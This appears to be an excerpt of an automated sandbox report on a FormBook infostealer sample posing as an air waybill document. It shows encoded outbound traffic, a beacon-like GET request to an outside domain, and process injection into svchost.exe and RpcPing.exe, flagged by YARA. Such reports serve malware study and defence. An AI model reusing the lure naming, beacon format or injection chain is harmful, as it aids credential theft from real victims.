Jul 3, 2024 17:41:59.662508965 CEST	5156	OUT	Data Raw: 30 49 43 75 35 42 48 65 51 6d 68 32 76 62 64 4f 6d 52 4c 39 4a 77 4c 6c 35 4e 6d 4a 2f 37 46 49 6a 57 53 36 69 6a 57 30 45 70 67 6c 6e 55 68 72 39 71 46 67 61 33 6b 69 62 4d 37 57 2f 6b 74 55 4d 65 6f 58 6c 64 73 7a 4c 64 7a 6a 50 55 56 64 2b 4d Data Ascii: 0ICu5BHeQmh2vbdOmRL9JwLl5NmJ/7FIjWS6ijW0EpglnUhr9qFga3kibM7W/ktUMeoXldszLdzjPUVd+Mh8o+VdSAI+hqpq2JV7zw4VZmicKVgyT1N9sh11E3BYpFYcf5C8HalXvIidxa5esAjWP3GY+qbvn8NlrasbUJCxrrGhWHt79bhMK4dPydlfvrlXn9VEtZ395Rx1XAwyP3OirgwHG0AwSTsg/TEPVqW7leHHDvgFYAP
Jul 3, 2024 17:41:59.662580967 CEST	6445	OUT	Data Raw: 53 66 36 72 42 45 77 69 56 48 37 73 79 76 35 57 71 78 38 75 2f 57 4a 62 47 2f 76 65 78 78 4b 65 69 50 71 6d 4d 78 55 46 65 49 75 73 72 66 58 62 72 34 4f 76 68 6b 33 4f 4f 65 61 2b 71 6d 5a 2f 55 67 77 61 5a 2f 51 68 31 37 6c 4c 4b 71 37 6f 76 37 Data Ascii: Sf6rBEwiVH7syv5Wqx8u/WJbG/vexxKeiPqmMxUFeIusrfXbr4Ovhk3OOea+qmZ/UgwaZ/Qh17lLKq7ov71ri5XDx4Iu6OKAkBl2EQ1EQYnThloWMT3crGYugAYj7pMkWwn4L2rumREhijfccYUcqzfIvU8jlp7XyO9h9tnP9L3jYJl5p1dIrSk6iuJb8DhD/twfzzx523HK5rhZ/R9dLXdYFDl4VLeRQ/8DaH2ncbyykwVQGFQ
Jul 3, 2024 17:41:59.781229019 CEST	2578	OUT	Data Raw: 79 4a 44 2b 55 67 7a 52 6d 52 67 58 4e 70 47 6d 67 64 38 75 55 66 54 53 6a 5a 52 62 7a 45 31 62 4e 74 49 76 53 47 67 7a 31 43 4f 46 77 4c 48 37 31 75 34 61 43 6f 6b 46 4c 71 32 6a 34 6c 59 30 79 77 73 41 2f 36 2f 33 6c 65 79 55 54 4c 37 2f 76 46 Data Ascii: yJD+UgzRmRgXNpGmgd8uUfTSjZRbzE1bNtIvSGgz1COFwLH71u4aCokFLq2j4lY0ywsA/6/3leyUTL7/vFwkGGVM+jzB1ay5Ip4mK+Eik7qoMqJflkETnhZF30ktV6Kl7iSlOPV3lb4qnHPBi+nkyYIe6kwnQ7A4QTSen4sXEvpvd9eUzdjpmwEiPqvpjDIWMK5ItdPedM5NbJNXMsxdWp60+Zz2TEzWakDiUnIpzGQnVskC5r7
Jul 3, 2024 17:41:59.781378031 CEST	5156	OUT	Data Raw: 31 64 62 7a 31 57 68 63 4b 47 34 63 30 67 31 69 67 6d 4e 39 30 6b 52 43 70 78 69 32 52 33 34 4a 79 65 4a 47 69 67 68 2f 44 67 76 4a 65 44 32 69 69 49 68 6b 34 61 41 4c 43 6a 44 38 37 56 67 37 46 2f 37 47 79 78 50 6e 69 76 6f 43 52 33 34 74 42 4a Data Ascii: 1dbz1WhcKG4c0g1igmN90kRCpxi2R34JyeJGigh/DgvJeD2iiIhk4aALCjD87Vg7F/7GyxPnivoCR34tBJunyT5+VMP1F7vjE6x+4f+Jmgxx0oTOUbFHu2UG9xMfM4jxq+c314hRoCJxwOi7DQ9X871AyHnNhjdies9y92fQqvgBjNSrW3VWks4sY8Z1/65GWOuHo/GY9FyICIKrixcidAh9MELA4uaQLq5Br3D3cFOVDVQLkgH
Jul 3, 2024 17:41:59.781572104 CEST	15468	OUT	Data Raw: 35 48 69 31 70 78 36 38 4e 4b 32 65 71 6c 48 56 77 6c 69 61 71 63 45 79 46 78 6d 42 58 38 61 4b 68 56 43 75 47 78 37 34 30 6f 66 68 78 39 69 61 68 72 42 59 4e 75 58 34 76 4b 39 55 59 6a 4f 32 50 38 4e 6f 4e 4c 51 77 41 47 35 78 72 4d 69 64 61 71 Data Ascii: 5Hi1px68NK2eqlHVwliaqcEyFxmBX8aKhVCuGx740ofhx9iahrBYNuX4vK9UYjO2P8NoNLQwAG5xrMidaq0UR+eNyMO9+Fx0niu8PhCNwLLlLoHEnGd/8ZsJQ68uuroYRmwLV3j53rSlVOWplYp3ylceVDya6WxEEKXZZNFO2dBzCJZtwfNZ2cjDnqOWYoyA2m84aFYeWUlB+meqg5VCiZDlNOm+fi1b8bAiWrt+KzSnKRb1ELZ
Jul 3, 2024 17:41:59.781743050 CEST	1289	OUT	Data Raw: 6f 79 4e 39 45 37 67 77 71 63 4e 46 49 61 70 4f 5a 47 54 4b 4f 79 30 45 30 34 69 55 55 39 31 79 73 75 56 44 33 6a 39 4c 78 67 6f 55 37 61 57 54 38 65 2b 5a 56 72 71 74 47 34 65 32 2b 4b 67 62 7a 32 69 41 52 34 46 59 7a 43 39 4e 79 76 37 42 75 4e Data Ascii: oyN9E7gwqcNFIapOZGTKOy0E04iUU91ysuVD3j9LxgoU7aWT8e+ZVrqtG4e2+Kgbz2iAR4FYzC9Nyv7BuNsR0k6aPbqTrc3dYTTJ7VDyYbdVyEC2nAN1Y6aPcKU8D5iMlfjwtyY9PTL4wZLBdo6060fwT5mk4TY71bsSwd1ny8ZRMyGnYEuZ0YzbBm8ue4dI41MfZiNjBsbEy/Wd0wxYfIgzTnmUtZbgM7dog2yxskG7I4akrHB
Jul 3, 2024 17:41:59.781915903 CEST	1289	OUT	Data Raw: 69 59 65 75 6c 6f 4b 6f 2b 52 51 6a 70 39 75 36 35 56 42 46 47 49 38 6f 6f 4e 4d 6e 52 74 71 4f 64 54 79 33 56 53 32 63 75 4d 47 70 42 64 72 62 4b 52 4a 34 63 70 4e 58 2f 51 6a 31 58 75 32 2f 50 4f 70 74 66 66 4a 73 4b 77 6b 62 62 56 39 33 33 66 Data Ascii: iYeuloKo+RQjp9u65VBFGI8ooNMnRtqOdTy3VS2cuMGpBdrbKRJ4cpNX/Qj1Xu2/POptffJsKwkbbV933fviPtXMQX3evkL5cqftdhfLPw5e3inZRb5XPZacvGFXggKiO6wYmW3eQgk1+ItO6GPOUGdgRe1BNpXpvRM8XNYOlti2fHBNFzotANDz/XyQpGALyZ1A50agc13kEfqTBCKoPl2kUTYTMmSXid42HyqSvM/xpyW8pzl
Jul 3, 2024 17:41:59.900074005 CEST	2578	OUT	Data Raw: 71 7a 70 4a 48 75 38 6b 6b 37 4d 61 6f 39 5a 4a 73 72 65 6b 53 4f 62 69 35 31 76 6f 55 56 47 62 51 61 59 63 6e 70 4b 79 4f 68 64 6f 65 4a 67 46 36 32 50 55 76 34 6d 61 48 45 33 63 53 33 56 42 35 32 48 76 74 78 47 71 63 56 6e 7a 6a 32 54 43 66 50 Data Ascii: qzpJHu8kk7Mao9ZJsrekSObi51voUVGbQaYcnpKyOhdoeJgF62PUv4maHE3cS3VB52HvtxGqcVnzj2TCfPWGG8aYlR0Ov/XbKDSwMlWrhwxpHMvUgJ0AazYyRZaqfys3kVDZsB3eKi3NMZYw9FCfztB12Q+PVwUKcUogTkPyn0IIl90tQByB0Q5MPI/gKWB2Jmzu9Bgxd0iyfBW2lVVPyQlrg8CegZNecVO/2qMbEnJMw8iMoEY
Jul 3, 2024 17:41:59.900250912 CEST	7734	OUT	Data Raw: 4b 43 64 56 2b 64 30 6a 70 67 42 6e 62 65 71 44 48 66 52 35 69 45 6c 4f 37 35 7a 48 53 38 55 36 4b 54 77 36 65 6a 5a 6f 73 76 44 7a 58 74 6a 6d 34 2f 76 32 58 55 71 68 32 43 46 34 63 66 7a 52 54 77 61 57 31 78 5a 53 75 47 55 58 7a 61 31 69 38 69 Data Ascii: KCdV+d0jpgBnbeqDHfR5iElO75zHS8U6KTw6ejZosvDzXtjm4/v2XUqh2CF4cfzRTwaW1xZSuGUXza1i8imKMTNEvqxg3+ldhUrhPVXSf21f+UwVxYHus9LKXaacbzsSzCSC0QBH/FuUsDows4gO7avegmS0En4oSjvW7mn3cqTa0LJNNjMdGuH+rbKHuz5jxYcqG1L0M/CjgJ4IkIgRBh2sYzlB3inzGfY4MfP6Q4BMODdvs6M
Jul 3, 2024 17:41:59.900413990 CEST	1289	OUT	Data Raw: 59 4a 78 53 42 63 65 65 45 74 6c 43 77 59 38 76 72 6a 4b 5a 74 37 72 52 32 36 47 42 71 51 4e 38 78 4f 4f 68 52 4b 2f 52 2f 38 4f 35 65 63 75 39 7a 52 30 6d 4b 41 30 4e 2f 6a 36 78 46 2f 66 61 32 52 39 34 4b 45 43 61 59 4d 36 77 50 4c 32 44 45 76 Data Ascii: YJxSBceeEtlCwY8vrjKZt7rR26GBqQN8xOOhRK/R/8O5ecu9zR0mKA0N/j6xF/fa2R94KECaYM6wPL2DEvfzgHf82cX+H8kqwycHGuksDnis6jtIvYPoMri0u6pJY0oe+YyHO99oSrk3mCHEPezw4PDHrqUzkNkjaYteFCwSSJGyta/1CFRz3d48NO7OfbdC5y+BTPuxNgZJwGpJ4fhveMuFqLufbxRWxn61ZB4vWNjxbwIEjp9
Jul 3, 2024 17:42:00.039623022 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:41:59 GMT content-type: text/html; charset=utf-8 content-length: 1118 x-request-id: 12225b8d-c1e5-482f-a122-1e3a8ac385a2 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g== set-cookie: parking_session=12225b8d-c1e5-482f-a122-1e3a8ac385a2; expires=Wed, 03 Jul 2024 15:56:59 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 46 6b 38 32 32 6b 34 31 34 57 34 4c 45 79 30 57 75 65 49 2b 56 54 53 69 64 6f 58 6f 37 4a 57 69 51 51 70 4e 4c 34 77 64 71 72 6a 58 63 69 33 41 35 59 49 66 6e 64 67 54 59 55 50 4d 6e 53 70 42 34 34 36 59 2f 34 4b 36 2b 33 6d 67 67 51 6b 56 6b 79 6f 34 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vFk822k414W4LEy0WueI+VTSidoXo7JWiQQpNL4wdqrjXci3A5YIfndgTYUPMnSpB446Y/4K6+3mggQkVkyo4g==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	49836	199.59.243.226	80

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:42:02.330769062 CEST	521	OUT	GET /c7lp/?vX=AZtUjmxX1+ilQa3cAX9z1397/CoXyobuelvuG0qO50IIYxbQIoa2zaoIA52olqXa0ysfLjRam7UGaI/Eozxq/aJIiPqlVVE06lZEm1LC+u5u0D0LnPSZBcs=&_B7=LxyxWrj8kri0gh HTTP/1.1 Host: www.orthonow.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:42:02.473639965 CEST	1289	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:42:02 GMT content-type: text/html; charset=utf-8 content-length: 1466 x-request-id: 08e83773-d4e6-4b89-8c23-8b813220a2e2 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_GBCzeUnU5TO+MREERbxCb4copKTT2ACdMEZ0YR6PCQKM4hwE0OK+fQkd1IqsiheKv0gcsYkqHA1LzQsE0kCJQQ== set-cookie: parking_session=08e83773-d4e6-4b89-8c23-8b813220a2e2; expires=Wed, 03 Jul 2024 15:57:02 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 47 42 43 7a 65 55 6e 55 35 54 4f 2b 4d 52 45 45 52 62 78 43 62 34 63 6f 70 4b 54 54 32 41 43 64 4d 45 5a 30 59 52 36 50 43 51 4b 4d 34 68 77 45 30 4f 4b 2b 66 51 6b 64 31 49 71 73 69 68 65 4b 76 30 67 63 73 59 6b 71 48 41 31 4c 7a 51 73 45 30 6b 43 4a 51 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_GBCzeUnU5TO+MREERbxCb4copKTT2ACdMEZ0YR6PCQKM4hwE0OK+fQkd1IqsiheKv0gcsYkqHA1LzQsE0kCJQQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google
Jul 3, 2024 17:42:02.473654032 CEST	866	IN	Data Raw: 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 22 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 20 30 22 3e 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 Data Ascii: .com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDhlODM3NzMtZDRlNi00Yjg5LThjMjMtOGI4MTMyMjBhMmUyIiwicGFnZV90aW1lIjoxNzIwMDIxMzIyLCJwYWdlX3VybCI6Imh0dHA6Ly93d3cub3J0aG9ub3cubGl2ZS9

Target ID:	0
Start time:	11:33:48
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\AWB NO. 077-57676135055.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"
Imagebase:	0x400000
File size:	1'182'720 bytes
MD5 hash:	D0AA9DAE95EF6311340A157817230BF0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	11:33:49
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AWB NO. 077-57676135055.exe"
Imagebase:	0xc80000
File size:	47'016 bytes
MD5 hash:	B7C999040D80E5BF87886D70D992C51E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.18533462079.0000000002D90000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.18532632938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.18534395996.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	11:34:21
Start date:	03/07/2024
Path:	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.23186298424.00000000050F0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	11:34:23
Start date:	03/07/2024
Path:	C:\Windows\SysWOW64\RpcPing.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\RpcPing.exe"
Imagebase:	0x4b0000
File size:	26'624 bytes
MD5 hash:	F7DD5764D96A988F0CF9DD4813751473
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.23184804964.0000000002AE0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.23186502535.0000000003120000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.23186224923.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	11:34:44
Start date:	03/07/2024
Path:	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe"
Imagebase:	0x510000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	11:35:06
Start date:	03/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff710750000
File size:	597'432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true